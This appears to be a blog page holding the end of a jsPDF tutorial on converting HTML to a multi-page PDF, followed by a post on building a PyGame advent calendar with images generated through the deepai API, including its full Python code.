function generatePdf() { let jsPdf = new jsPDF('p', 'pt', 'letter'); var htmlElement = document.getElementById('doc-target'); // you need to load html2canvas (and dompurify if you pass a string to html) const opt = { callback: function (jsPdf) { jsPdf.save("Test.pdf"); // to open the generated PDF in browser window // window.open(jsPdf.output('bloburl')); }, margin: [72, 72, 72, 72], autoPaging: 'text', html2canvas: { allowTaint: true, dpi: 300, letterRendering: true, logging: false, scale: .8 } }; jsPdf.html(htmlElement, opt);
}

View Demo

jspdf html example

Steps to create the HTML example of generating a Multi-page PDF

This JavaScript imports the jsPDF and loads the html2canvas libraries. This example approaches the implementation with the following three steps.

  1. It gets the HTML content.
  2. It sets the html2canvas and jsPDF options of PDF display properties.
  3. It calls the jsPDF .html() function and thereby invokes a callback to output the PDF.

In a previous code, we have seen some small examples of converting HTML to PDF using the jsPDF library.

HTML code for Multi-page PDF content

This example HTML has the content target styled with internal CSS properties. These styles are for setting fonts, and spacing while converting this HTML to PDF.

The #doc-target is the PDF’s content target in this HTML. But, the #outer is the outer container to take care of the UI perception.

That means the PDF will reflect the styles from the #doc-target level of the HTML DOM. The #outer is for synchronizing the UI preview and the PDF result for the sake of the perception.

If you want to show a preview before PDF generation, there is an example for it before generating an invoice PDF.

These styles are

<HTML>
<HEAD> <TITLE>jsPDF HTML Example with html2canvas for Multiple Pages PDF</TITLE> <style> #doc-target { font-family: sans-serif; -webkit-font-smoothing: antialiased; color: #000; line-height: 1.6em; margin: 0 auto; } #outer { padding: 72pt 72pt 72pt 72pt; border: 1px solid #000; margin: 0 auto; width: 550px; } </style>
</HEAD>
<BODY> <div id="container"> <p> <button class="btn" onclick="generatePdf()">Download PDF</button> </p> <div id="outer"> <div id="doc-target"> <h1>jsPDF HTML Example</h1> <div id="lipsum"> <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aliquam tempor purus a congue ullamcorper. Nunc vulputate eros nunc, sed molestie orci interdum ut. Mauris non tristique neque, ut tincidunt lectus. Nunc sollicitudin eros sapien. Donec metus ex, vestibulum vel pharetra in, convallis id diam. Sed eu tellus pulvinar, fringilla est ut, feugiat nibh. Etiam eget commodo risus. Proin faucibus elementum enim, ut hendrerit nisi convallis at. Pellentesque volutpat, purus faucibus varius tincidunt, nulla erat convallis lacus, eu accumsan felis mauris eget velit. Vestibulum a neque purus. Vestibulum in ultricies justo. Fusce dapibus, sapien a mollis luctus, risus dolor hendrerit ex, in semper justo enim sed ante. Morbi ut urna et velit finibus vehicula. Vivamus elementum egestas ultrices. Proin rutrum orci odio, sit amet hendrerit diam vulputate a. </p> </div> </div> </div> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/jspdf/2.5.1/jspdf.umd.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/html2canvas/1.4.1/html2canvas.min.js" integrity="sha512-BNaRQnYJYiPSqHHDb58B0yaPfCu+Wgds8Gp/gU33kqBtgNS4tSPHuGibyoeqMV/TJlSKda6FXzoEyYGjTe+vXA==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
</BODY>
</HTML>

JavaScript jsPDF options for getting a multi-page PDF

In this example code, the JavaScript jsPDF code sets some options or properties. These are required for the below purposes

  • It sets the PDF content’s display properties
  • It defines the callback function to save or open the output PDF.

The below list has a short description of each option and its properties used in this example.

  • callback – It is a client-side method that is invoked when the output PDF is ready.
  • margin – It is the jsPDF option to specify the top, right, bottom and left margins of the PDF.
  • autoPaging – It is required when creating a multi-page PDF from HTML with the auto page break.
  • html2canvas – The jsPDF depends on html2canvas library. Knowing how to use these properties will help to get a satisfactory PDF output.
    • allowTaint – It allows the cross-origin images to taint the canvas if it is set as true. The default is false.
    • dpi – It is dots per inch. Giving 300 will be good which is a printing quality.
    • letterRendering – It allows rendering the letter properly with specified or supported fonts.
    • logging – It writes a log to the developer’s console while creating a PDF. The default is true, but this example disables it.
    • scale – Without specifying this option, it takes the browser’s device pixel ratio.

More references for the available options of creating a full-fledged jsPDF example

These are the library documentation links that guide to creating PDFs from HTML.

  1. jsPDF core inbuilt
  2. jsPDF html.js plugin
  3. Options – html2canvas

The jsPDF core alone has many features to create PDF documents on the client side. But, for converting HTML to a multi-page PDF document, the core jsPDF library is enough.

The latest version replaces the fromHTML plugin with the html.js plugin to convert HTML to PDF.

Above all the jsPDF depends on html2canvas for generating a PDF document. It hooks the html2canvas by supplying enough properties for creating a PDF document.

We used the html2canvas library to capture a screenshot of a webpage. It is a reputed and dependable library to generate and render canvas elements from HTML.

View DemoDownload

↑ Back to Top

Posted on Leave a comment

Creating an Advent Calendar App in Python with AI Image Creation

5/5 – (2 votes)
Example: AI-Generated Image

This blog describes a fun mini Python project using AI image creation for creating artwork for an advent calendar implemented using PyGame.

Context

It’s December 1st, and my daughter has just opened the first door on her physical advent calendar, counting down the days of the festival of general consumerism that some people call Christmas. Out pops a small chocolate with a festive robin embossed onto it.

I don’t really recall when the chocolate treat became ubiquitous. Back in my childhood days, advent calendar doors just opened to reveal an image.

Example: AI-Generated Image

This article describes a mini project to generate a virtual old-school Advent calendar using royalty-free bespoke images generated from Python using a third-party AI service through an API.

All code and some AI-generated image samples are available on GitHub.

Painting the Images

There are now many AI engines for creating images from a text description. This project uses deepai. Creating an image with the deepai API is pretty simple. They provide code samples for several languages on their site.

I further selected the engine for producing art in the impressionism style but you can choose from a range of other styles at https://api.deepai.org.

The aipaint function below uses the requests library post method to send a description string e.g. "Christmas presents under tree" to the API endpoint https://api.deepai.org/api/impressionism-painting-generator with an API key included in the header.

Note that the AI artist style forms parts of the end-point URL.

An API key is used to control access to the API service. The quickstart api-key below is only good for about 10 free requests. You can pay $5 for a new API key and 100 more request calls if you so wish.

def aipaint(description): r = requests.post( "https://api.deepai.org/api/impressionism-painting-generator", data={ 'text': description, }, headers={'api-key': 'quickstart-QUdJIGlzIGNvbWluZy4uLi4K'} ) ret = r.json() return ret

The aipaint() function will return a JSON object, including an element called output_url from which the image can be viewed. 

The following is an example AI painting created, in the impressionist style, for the description "Christmas presents under tree":

The output_url will look something like this https://api.deepai.org/job-view-file/eb654821-f89c-4065-9302-a702ad942971/outputs/output.jpg

Be warned when you read this – the above URL will no longer exist. The created image is only hosted by deepai for a few hours, so our advent calendar code will need to download to a local folder.  

To download the image we can use urlretrieve:

painting=aipaint(description) urllib.request.urlretrieve(painting['output_url'], filename)

Caching 25 Images

The original hope was to create images on the fly as an advent door is opened, but as there is a cost for each API request and up to 30 seconds is required for each image to be generated by the AI engine and downloaded, an alternative approach was adopted in writing a prepaint.py script to create and download 25 images.

prepaint.py

import urllib.request
import config
import requests
import urllib.request
from os.path import exists def aipaint(description): r = requests.post( "https://api.deepai.org/api/impressionism-painting-generator", data={ 'text': description, }, headers={'api-key': 'quickstart-QUdJIGlzIGNvbWluZy4uLi4K'} ) ret = r.json() return ret count=1 while count<=25: # pop off the first image description description=config.descriptions.pop(0) # push it back on at end (this ensures we cycle through descriptions and never run out ) # obviously best if there are 25 descriptions though config.descriptions.append(description) filename='./images/image'+ (f"{count:02d}") +".jpg" if(exists(filename)): print(filename + " already exists") else: print("Painting: "+description) try: painting=aipaint(description) if(len(painting)<2): if(painting['status']): print("You've probably run out of deepai (free) credits.") print("Status returned "+painting['status']) else: print("Storing as "+filename) urllib.request.urlretrieve(painting['output_url'], filename) print("Paint now dried on "+filename) except Exception as ex: print("Paint "+filename+" failed") print(ex) count+=1 print("Paintings complete and paint has dried!")
print("Now run main.py to access the Advent calendar")

config.descriptions is a list of Christmas image descriptions.

Ideally, there should be 25 descriptions, but we treat the array as a circular queue so that every time we pop an item off the front, we push back at the end of the queue.

This just ensures we can generate 25 images even without 25 descriptions. My experimentation suggests you will not get the same image back from two requests with the same image description anyway!

Images are cached in an images folder with 25 filenames image01.jpg through image25.jpg

filename='./images/image'+ (f"{count:02d}") +".jpg"

The script first checks whether an image already exists – if yes we just loop through to the next image.

With the code in GitHub I’ve included 25 images. If you want to generate your own just delete some or all from the images folder and edit the descriptions in config.py.

If you don’t yet want to purchase deepai credits – I recommend you just delete a few to experiment.

Sample output from the prepaint.py script

The Advent app

I chose to use the PyGame library to produce the virtual Advent app.

Running main.py launches a window with a grid of 25 doors.

Red doors indicate available doors to open based on the current date of the month. When a red labeled door is opened, a festive image is displayed along with a short promotion text that can be customized in config.py

A click on the image re-displays the grid of calendar doors. 

A click on the lower portion of the screen opens a browser with the configured URL.

The PyGame script itself is fairly straightforward. Just one interesting snippet to highlight: To arrange the doors in a ‘random’ order. An array of the numbers 1 to 25 is created (constants HEIGHT and WIDTH are both defined as 5 in config.py).

This array is shuffled using random.shuffle. By pre-setting the random seed to a set figure (here 1 was chosen), the same random shuffle is produced every time the main.py is run.

doormap=list(range(1,HEIGHT*WIDTH+1))
random.seed(1)
random.shuffle(doormap)

Appendix – Full Code

Here are the two code files:

config.py:

HEIGHT = 5
WIDTH = 5 descriptions=["Christmas presents under tree", "Santas Elf", "Santa in sleigh flying over a town delivering gifts on christmas eve", "candy cane on an christmas tree", "a festive robin redbreast", "a snowman with carrot nose and presents", "fairy on top of a christmas tree", "children playing with christmas presents", "christmas lunch", "christmas carol singers", "christmas bells in a christmas tree", "rudolph the red nosed reindeer", "Santa in sleigh", "two snowmen with presents", "snowy village scene", "christmas decoration", "christmas bells", "christmas snowflake", "christmas pudding with custard", "christmas feast with turkey", "father christmas laughing", "christmas baby in a manger", "christmas mulled wine", "children enjoying playing with a new toy train", ] gifts=[('8 python cheat sheets','https://blog.finxter.com/python-cheat-sheets/'),
('the finxter academy','https://academy.finxter.com/'),
('the finxter app','https://app.finxter.com/learn/computer/science/'),
('the finxster freelancer course','https://finxter.gumroad.com/l/python-freelancer/'),
('The Ultimate Guide to Start Learning Python','https://blog.finxter.com/start-learning-python/'),
('Coffee Break Numpy book','https://www.amazon.com/gp/product/B07WHB8FWC/ref=as_li_tl?ie=UTF8&tag=finxter-20&camp=1789&creative=9325&linkCode=as2&creativeASIN=B07WHB8FWC&linkId=447a5019492081d1b2892d9470bb29fc'),
('Leaving the Rat Race with Python book','https://www.amazon.com/Leaving-Rat-Race-Python-Developing-ebook/dp/B08G1XLDNB/ref=sr_1_5?qid=1670149592&refinements=p_27%3AChristian+Mayer&s=digital-text&sr=1-5&text=Christian+Mayer'),
('Coffee break Python book','https://www.amazon.com/Coffee-Break-Python-Kickstart-Understanding-ebook/dp/B07GSTJPFD/ref=sr_1_4?qid=1670149592&refinements=p_27%3AChristian+Mayer&s=digital-text&sr=1-4&text=Christian+Mayer'),
('Coffee Break Python Slicing','https://www.amazon.com/Coffee-Break-Python-Slicing-Workouts-ebook/dp/B07KSHLLG5/ref=sr_1_8?qid=1670149592&refinements=p_27%3AChristian+Mayer&s=digital-text&sr=1-8&text=Christian+Mayer'),
('Coffee Break Pandas','https://www.amazon.com/Coffee-Break-Pandas-Puzzles-Superpower-ebook/dp/B08NG8QHW7/ref=sr_1_9?qid=1670149592&refinements=p_27%3AChristian+Mayer&s=digital-text&sr=1-9&text=Christian+Mayer'),
('',''),

main.py:

import pygame
import sys
import time
import random
import datetime
import webbrowser
import config HEIGHT = config.HEIGHT
WIDTH = config.WIDTH
LINEHEIGHT = 30
CLICKABLEHEIGHT = 150
FONT = 'verdana' # Colors
BLACK = (0, 0, 0)
GRAY = (200, 200, 200)
WHITE = (255, 255, 255)
RED = (200, 0, 0) # use a seeded random shuffle on numbers 1 to 25 # specify seed to always generate the same random sequence of door labels for our 5x5 grid
doormap=list(range(1,HEIGHT*WIDTH+1))
random.seed(1) random.shuffle(doormap) #get current time
d = datetime.datetime.now()
#get the day of month
datemax=int(d.strftime("%d")) #lambda function to convert eg 1 to 1st, 2 to 2nd
ordinal = lambda n: "%d%s" % (n,"tsnrhtdd"[(n//10%10!=1)*(n%10<4)*n%10::4]) # Create game
pygame.init()
size = width, height = 500, 500
screen = pygame.display.set_mode(size)
pygame.display.set_caption('Finxter Advent Calendar') #font_name = 'calibr'#pygame.font.get_default_font()
bigfont = pygame.font.SysFont(FONT, 20)
hugefont = pygame.font.SysFont(FONT, 40) # Compute board size
BOARD_PADDING = 10
board_width = width - (BOARD_PADDING * 2)
board_height = height - (BOARD_PADDING * 2)
cell_size = int(min(board_width / WIDTH, board_height / HEIGHT))
halfcell_size=cell_size/2+10
board_origin = (BOARD_PADDING, BOARD_PADDING) # utility function to add text to screen
def addText(text, position, color): giftText = bigfont.render(text, True, color) giftRect = giftText.get_rect() giftRect.center = position screen.blit(giftText, giftRect) # start from the main grid when dooropen>0 it indicate the door/image to display
dooropen=0 while True: # Check if game quit for event in pygame.event.get(): if event.type == pygame.QUIT: sys.exit() screen.fill(BLACK) if dooropen: # paint the correct image onto the screen filename='images/image'+ (f"{dooropen:02d}") +".jpg" image = pygame.image.load(filename) rect = image.get_rect() screen.blit(image, rect) # going to create a semi transparent clickable area which can link to a URL # the URL 'gifts' are stored in the imported config giftlabel,gifturl = config.gifts[dooropen%len(config.gifts)] s = pygame.Surface((width,CLICKABLEHEIGHT)) s.set_alpha(200) s.fill(GRAY) screen.blit(s, (0,height-CLICKABLEHEIGHT)) clickable = pygame.Rect(0,height-CLICKABLEHEIGHT,width,CLICKABLEHEIGHT) # add text to the clickable area if(dooropen==25): addText("It's Christmas!", ((width / 2), 4*cell_size+LINEHEIGHT), RED) else: addText("On the "+ ordinal(25-dooropen) +" night before xmas", ((width / 2), 4*cell_size), WHITE) addText("Finxter brought unto me:", ((width / 2), 4*cell_size+LINEHEIGHT), WHITE) addText(giftlabel, ((width / 2), 4*cell_size+(2*LINEHEIGHT)), RED) # open URL in browser if clickable area clicked # otherwise close the door by setting dooropen to 0 click, _, _ = pygame.mouse.get_pressed() if click == 1: mouse = pygame.mouse.get_pos() if clickable.collidepoint(mouse) : time.sleep(0.2) webbrowser.open(gifturl, new=dooropen, autoraise=True) else: dooropen = 0 time.sleep(0.2) pygame.display.flip() continue # Draw board cells = [] for i in range(HEIGHT): row = [] for j in range(WIDTH): # Draw rectangle for cell rect = pygame.Rect( board_origin[0] + j * cell_size, board_origin[1] + i * cell_size, cell_size, cell_size ) pygame.draw.rect(screen, GRAY, rect) pygame.draw.rect(screen, WHITE, rect, 3) doornumber=doormap[(j*HEIGHT)+i] label = hugefont.render(str(doornumber), True, RED if doornumber<=datemax else WHITE) labelRect = label.get_rect() labelRect.center = (j * cell_size+halfcell_size, i * cell_size+halfcell_size) screen.blit(label, labelRect) row.append(rect) cells.append(row) left, _, right = pygame.mouse.get_pressed() if left: mouse = pygame.mouse.get_pos() for i in range(HEIGHT): for j in range(WIDTH): if cells[i][j].collidepoint(mouse) and dooropen==0: dooropen=doormap[(j*HEIGHT)+i] # did they attempt to open a door ahead of current date # dont allow that! if dooropen>datemax: dooropen=0 time.sleep(0.2) pygame.display.flip()

prepaint.py:

import urllib.request
import config
import requests
from os.path import exists def aipaint(description): r = requests.post( "https://api.deepai.org/api/impressionism-painting-generator", data={ 'text': description, }, headers={'api-key': 'quickstart-QUdJIGlzIGNvbWluZy4uLi4K'} ) ret = r.json() return ret count=1 while count<=25: # pop off the first image description description=config.descriptions.pop(0) # push it back on at end (this ensures we cycle through descriptions and never run out ) # obviously best is there are 25 descriptions though config.descriptions.append(description) filename='./images/image'+ (f"{count:02d}") +".jpg" if(exists(filename)): print(filename+" already exists") else: print("Painting: "+description) try: painting=aipaint(description) if(len(painting)<2): if(painting['status']): print("You've probably run out of deepai (free) credits.") print("Status returned "+painting['status']) else: print("Storing as "+filename) urllib.request.urlretrieve(painting['output_url'], filename) print("Paint now dried on "+filename) except Exception as ex: print("Paint "+filename+" failed") print(ex) count+=1 print("Paintings complete and paint has dried!")
print("Now run main.py to access the Advent calendar")